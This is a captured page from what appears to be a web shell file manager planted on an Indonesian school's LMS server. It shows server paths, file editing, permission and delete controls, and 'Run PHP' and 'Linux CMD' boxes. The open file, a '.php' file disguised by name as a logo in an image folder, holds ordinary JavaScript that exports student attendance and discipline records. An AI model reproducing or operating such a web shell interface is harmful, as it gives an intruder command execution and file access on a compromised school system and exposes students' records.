๐ File Manager
๐
/
/
home
/
u449181296
/
domains
/
birulogi.smakpbaleendah.sch.id
/
public_html
/
lms
/
tukang-ngatur
/
assets
/
img
/
qr-logos
/home/u449181296/domains/birulogi.smakpbaleendah.sch.id/public_html/lms/tukang-ngatur/assets/img/qr-logos
Upload
Name
Size
Date
CHMOD
Action
โ FILE โ
logo_1773801405.php
6.73 KB
2026-03-18 02:36
644
(rw-r--r--)
Edit
|
Rename
|
Preview
|
Del
Edit
import{u,w as p}from"./xlsx-BBWTpfDg.js";const d=(l,e,s)=>{const n=u.json_to_sheet(e.length?e:[{Info:"Belum ada data"}]),i=u.book_new();u.book_append_sheet(i,n,l),p(i,s)},k=l=>l.map(e=>{const s={Hadir:0,Sakit:0,Izin:0,Alfa:0,Terlambat:0,Dispensasi:0},n=Object.entries(e.attendance||{}).map(([i,o])=>{var t;const a=o;return s[a]+=1,`${((t=e.studentNames)==null?void 0:t[i])||i}: ${a}`});return{Tanggal:e.date,Guru:e.teacherName,Kelas:e.className,Mapel:e.subject,Jam_Mulai:e.startTime,Jam_Selesai:e.endTime,Mode:e.mode,Hadir:s.Hadir,Sakit:s.Sakit,Izin:s.Izin,Alfa:s.Alfa,Terlambat:s.Terlambat,Dispensasi:s.Dispensasi,Total_Siswa:Object.keys(e.attendance||{}).length,Materi:e.material,Detail_Presensi:n.join(" | ")}}),g=l=>l.map(e=>{const s={Hadir:0,Sakit:0,Izin:0,Alfa:0,Terlambat:0,Dispensasi:0},n=Object.keys(e.attendance||{}).map(i=>{var a,t,r;const o=((a=e.waliOverrides)==null?void 0:a[i])||((t=e.attendance)==null?void 0:t[i])||"Hadir";return s[o]+=1,`${((r=e.studentNames)==null?void 0:r[i])||i}: ${o}`});return{Tanggal:e.date,Kelas:e.className,Operator:e.operatorTeacherName,Wali_Verifikator:e.verifiedByWaliName||"-",Hadir:s.Hadir,Sakit:s.Sakit,Izin:s.Izin,Alfa:s.Alfa,Terlambat:s.Terlambat,Dispensasi:s.Dispensasi,Catatan_Piket:e.piketNote||"-",Catatan_Wali:e.waliClassNote||"-",Detail_Presensi:n.join(" | ")}}),S=(l,e=[],s=[],n=[],i=[])=>{const o=[];return l.forEach(a=>{const t=e.find(r=>{var c;return r.studentId===a.studentId&&r.classId===a.classId&&((c=r.linkedRecordIds)==null?void 0:c.includes(a.id))});o.push({Tanggal:a.date,Kelas:a.className,Siswa:a.studentName,Sumber_Role:a.sourceRole,Pelapor:a.sourceUserName,Jenis:a.recordType==="positive"?"Positif":"Negatif",Kategori:a.categoryName,Subkategori:a.subcategoryName,Judul:a.title,Catatan:a.description,Severity:a.severity||"-",Status_Proses:(t==null?void 0:t.currentStage)||a.status,Owner_Aktif:(t==null?void 0:t.currentOwnerRole)||"-",Rute:a.routeMode,Ke_Wali:a.reportToWali?"Ya":"Tidak",Ke_BK:a.reportToBk?"Ya":"Tidak",Ke_Kesiswaan:a.reportToKesiswaan?"Ya":"Tidak"})}),s.forEach(a=>{o.push({Tanggal:a.date,Kelas:a.className,Siswa:a.studentName,Sumber_Role:a.sourceType,Pelapor:a.sourceTeacherName,Jenis:"Legacy",Kategori:"Catatan Guru",Subkategori:a.reportToKesiswaan?"Diteruskan ke Kesiswaan":a.reportToBk?"Diteruskan ke BK":a.reportToWali?"Diteruskan ke Wali":"Catatan internal",Judul:"Catatan Siswa",Catatan:a.note,Severity:"-",Status_Proses:a.reportToKesiswaan?"Masuk jalur Kesiswaan":a.reportToBk?"Masuk jalur BK":a.reportToWali?"Masuk wali kelas":"Tersimpan",Owner_Aktif:"-",Rute:"-",Ke_Wali:a.reportToWali?"Ya":"Tidak",Ke_BK:a.reportToBk?"Ya":"Tidak",Ke_Kesiswaan:a.reportToKesiswaan?"Ya":"Tidak"})}),i.forEach(a=>{const t=e.find(r=>r.id===a.linkedCaseId);o.push({Tanggal:a.date,Kelas:a.className,Siswa:a.studentName,Sumber_Role:a.counselorRole,Pelapor:a.counselorTeacherName,Jenis:"Berita Acara",Kategori:a.violationCategoryName||"Pembinaan",Subkategori:a.violationSubcategoryName||"Berita Acara Pembinaan",Judul:`Berita Acara ${a.counselorRoleLabel}`,Catatan:[a.basis,a.chronology,a.coachingResult,a.followUp].filter(Boolean).join(" | "),Severity:a.sanctionLabel||"-",Status_Proses:(t==null?void 0:t.currentStage)||a.documentStatus,Owner_Aktif:(t==null?void 0:t.currentOwnerRole)||a.counselorRole,Rute:"bk_ledger",Ke_Wali:a.counselorRole==="wali"?"Ya":"Tidak",Ke_BK:a.storedInBkLedger?"Ya":"Tidak",Ke_Kesiswaan:a.counselorRole==="kesiswaan"?"Ya":"Tidak"})}),n.forEach(a=>{var t;o.push({Tanggal:(t=a.createdAt)!=null&&t.toDate?a.createdAt.toDate().toLocaleDateString("id-ID"):"-",Kelas:"-",Siswa:"-",Sumber_Role:a.actorRole,Pelapor:a.actorName,Jenis:"Timeline",Kategori:a.actionType,Subkategori:`${a.fromStage||"-"} -> ${a.toStage||"-"}`,Judul:a.actionType,Catatan:a.note,Severity:"-",Status_Proses:a.toStage||a.actionType,Owner_Aktif:a.actorRole,Rute:"-",Ke_Wali:"-",Ke_BK:"-",Ke_Kesiswaan:"-"})}),o.sort((a,t)=>String(t.Tanggal||"").localeCompare(String(a.Tanggal||"")))};export{S as a,k as b,g as c,d as w};
Save
๐งช PHP Preview
<?php echo 'hello'; ?>
Run PHP
๐ฅ Linux CMD
Run CMD